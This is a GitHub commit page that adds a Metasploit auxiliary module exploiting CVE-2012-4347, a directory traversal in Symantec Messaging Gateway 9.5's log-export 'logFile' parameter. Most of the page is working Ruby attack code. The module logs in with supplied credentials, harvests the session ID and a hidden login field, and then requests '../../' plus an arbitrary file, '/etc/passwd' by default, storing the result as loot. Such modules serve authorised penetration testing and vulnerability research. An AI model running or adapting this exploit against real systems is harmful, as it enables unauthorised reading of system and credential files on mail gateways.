Skip to content

Commit 25d888b

Browse files
committed
Add CVE-2012-4347 Symantec Messaging Gateway Log File Download
1 parent 7ea188e commit 25d888b

File tree

1 file changed

+155
-0
lines changed

1 file changed

+155
-0
lines changed
Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
include Msf::Exploit::Remote::HttpClient
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability',
19+
'Description' => %q{
20+
This module will download a file of your choice against Symantec Messaging
21+
Gateway. This is possible by exploiting a directory traversal vulnerability
22+
when handling the 'logFile' parameter, which will load an arbitrary file as
23+
an attachment. Note that authentication is required in order to successfully
24+
download your file.
25+
},
26+
'References' =>
27+
[
28+
['CVE', '2012-4347'],
29+
['EDB', '23110'],
30+
['OSVDB', '88165'],
31+
['BID', '56789'],
32+
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00']
33+
],
34+
'Author' =>
35+
[
36+
'Ben Williams <ben.williams[at]ngssecure.com>',
37+
'sinn3r'
38+
],
39+
'License' => MSF_LICENSE,
40+
'DisclosureDate' => "Nov 30 2012"
41+
))
42+
43+
register_options(
44+
[
45+
Opt::RPORT(41080),
46+
OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']),
47+
OptString.new('USERNAME', [true, 'The username to login as']),
48+
OptString.new('PASSWORD', [true, 'The password to login with'])
49+
], self.class)
50+
51+
deregister_options('RHOST')
52+
end
53+
54+
55+
def peer
56+
"#{rhost}:#{rport}"
57+
end
58+
59+
60+
def auth(username, password, sid, last_login)
61+
res = send_request_cgi({
62+
'method' => 'POST',
63+
'uri' => '/brightmail/login.do',
64+
'headers' => {
65+
'Referer' => "http://#{peer}/brightmail/viewLogin.do"
66+
},
67+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
68+
'vars_post' => {
69+
'lastlogin' => last_login,
70+
'userLocale' => '',
71+
'lang' => 'en_US',
72+
'username' => username,
73+
'password' => password,
74+
'loginBtn' => 'Login'
75+
}
76+
})
77+
78+
if res and res.headers['Location']
79+
new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
80+
res = send_request_cgi({
81+
'uri' => new_uri,
82+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
83+
})
84+
85+
return true if res and res.body =~ /Logged in as: #{username}/
86+
end
87+
88+
return false
89+
end
90+
91+
92+
def get_login_data
93+
sid = '' #From cookie
94+
last_login = '' #A hidden field in the login page
95+
96+
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
97+
if res and res.headers['Set-Cookie']
98+
sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
99+
end
100+
101+
if res
102+
last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
103+
end
104+
105+
return sid, last_login
106+
end
107+
108+
109+
def download_file(sid, fname)
110+
res = send_request_cgi({
111+
'uri' => '/brightmail/export',
112+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
113+
'vars_get' => {
114+
'type' => 'logs',
115+
'logFile' => "../../#{fname}",
116+
'logType' => '1',
117+
'browserType' => '1'
118+
}
119+
})
120+
121+
if res and res.body.empty?
122+
print_error("#{peer} - File not found or empty.")
123+
return
124+
end
125+
126+
vprint_line("")
127+
vprint_line(res.body)
128+
129+
f = ::File.basename(fname)
130+
p = store_loot('symantec.brightmail.file', 'application/octet-stream', rhost, res.body, f)
131+
print_good("#{peer} - File saved as: '#{p}'")
132+
end
133+
134+
135+
def run_host(ip)
136+
sid, last_login = get_login_data
137+
if sid.empty? or last_login.empty?
138+
print_error("#{peer} - Missing required login data. Cannot continue.")
139+
return
140+
end
141+
142+
username = datastore['USERNAME']
143+
password = datastore['PASSWORD']
144+
if not auth(username, password, sid, last_login)
145+
print_error("#{peer} - Unable to login. Cannot continue.")
146+
return
147+
else
148+
print_good("#{peer} - Logged in as '#{username}:#{password}'")
149+
end
150+
151+
fname = datastore['FILENAME']
152+
download_file(sid, fname)
153+
end
154+
155+
end

0 commit comments

Comments
 (0)